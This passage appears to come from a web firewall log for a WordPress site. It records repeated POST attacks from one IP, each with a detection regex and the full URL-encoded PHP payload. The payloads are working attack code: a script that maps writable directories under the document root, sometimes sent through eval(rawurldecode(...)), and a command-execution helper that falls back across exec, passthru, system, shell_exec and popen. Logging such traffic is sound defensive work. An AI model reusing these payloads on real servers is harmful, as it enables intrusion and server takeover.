3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvGJLvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAlMJS0MJDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\n\nMf=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p.DIRECTORY_SEPARATOR.%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 22:20:36","213.209.159.254","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> HK:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p.DIRECTORY_SEPARATOR.%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\ncontent-length:3339\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFRfvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAiozMcMlV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\nHK=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p.DIRECTORY_SEPARATOR.%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 22:21:01","213.209.159.254","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p.DIRECTORY_SEPARATOR.%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-ch-ua-platform:\"macOS\"\nsec-fetch-user:?1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-mode:navigate\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nhost:dewenlabels.com\nsec-fetch-dest:document\naccept-encoding:gzip,deflate\naccept:*\/*\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\nupgrade-insecure-requests:1\nsec-ch-ua-mobile:?0\ncontent-length:3362\n\nIMAhJp=eval(rawurldecode(\"%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p.DIRECTORY_SEPARATOR.%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20\"));"]
["2026-05-12 22:21:21","213.209.159.254","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Ph:%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27table.categories%27%2C%27commonhtml%27%2C%27patTemplate%27%2C%27google_sitemap%27%2C%27main_center%27%2C%27showthumb%27%2C%27set_history_type%27%2C%27CommonAttributes%27%2C%27customer_lookup%27%2C%27recipe_moderate%27%2C%27tinybrowser%27%2C%27editOnePic%27%2C%27mediasize%27%2C%27action.printpage%27%2C%27Partition.class%27%2C%27page_not_found%27%2C%27StrictBlockquote%27%2C%27editfieldprofile%27%2C%27makepdf_class%27%2C%27downloads%27%2C%27paginazione_old%27%2C%27siteMapEN%27%2C%27com_fireboard%27%2C%27infoevent3%27%2C%27vcard.class%27%2C%27changeTut%27%2C%27uploadNews%27%2C%27view.html%27%2C%27rss2_coming%27%2C%27copytemplate%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20","POST \/ HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\nupgrade-insecure-requests:1\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\nsec-fetch-dest:document\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHTtvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyhL2k1MTHvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept-encoding:gzip,deflate\ncontent-length:3350\n\nPh=%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27table.categories%27%2C%27commonhtml%27%2C%27patTemplate%27%2C%27google_sitemap%27%2C%27main_center%27%2C%27showthumb%27%2C%27set_history_type%27%2C%27CommonAttributes%27%2C%27customer_lookup%27%2C%27recipe_moderate%27%2C%27tinybrowser%27%2C%27editOnePic%27%2C%27mediasize%27%2C%27action.printpage%27%2C%27Partition.class%27%2C%27page_not_found%27%2C%27StrictBlockquote%27%2C%27editfieldprofile%27%2C%27makepdf_class%27%2C%27downloads%27%2C%27paginazione_old%27%2C%27siteMapEN%27%2C%27com_fireboard%27%2C%27infoevent3%27%2C%27vcard.class%27%2C%27changeTut%27%2C%27uploadNews%27%2C%27view.html%27%2C%27rss2_coming%27%2C%27copytemplate%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20"]
["2026-05-12 22:21:34","213.209.159.254","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Hk:%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27table.categories%27%2C%27commonhtml%27%2C%27patTemplate%27%2C%27google_sitemap%27%2C%27main_center%27%2C%27showthumb%27%2C%27set_history_type%27%2C%27CommonAttributes%27%2C%27customer_lookup%27%2C%27recipe_moderate%27%2C%27tinybrowser%27%2C%27editOnePic%27%2C%27mediasize%27%2C%27action.printpage%27%2C%27Partition.class%27%2C%27page_not_found%27%2C%27StrictBlockquote%27%2C%27editfieldprofile%27%2C%27makepdf_class%27%2C%27downloads%27%2C%27paginazione_old%27%2C%27siteMapEN%27%2C%27com_fireboard%27%2C%27infoevent3%27%2C%27vcard.class%27%2C%27changeTut%27%2C%27uploadNews%27%2C%27view.html%27%2C%27rss2_coming%27%2C%27copytemplate%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%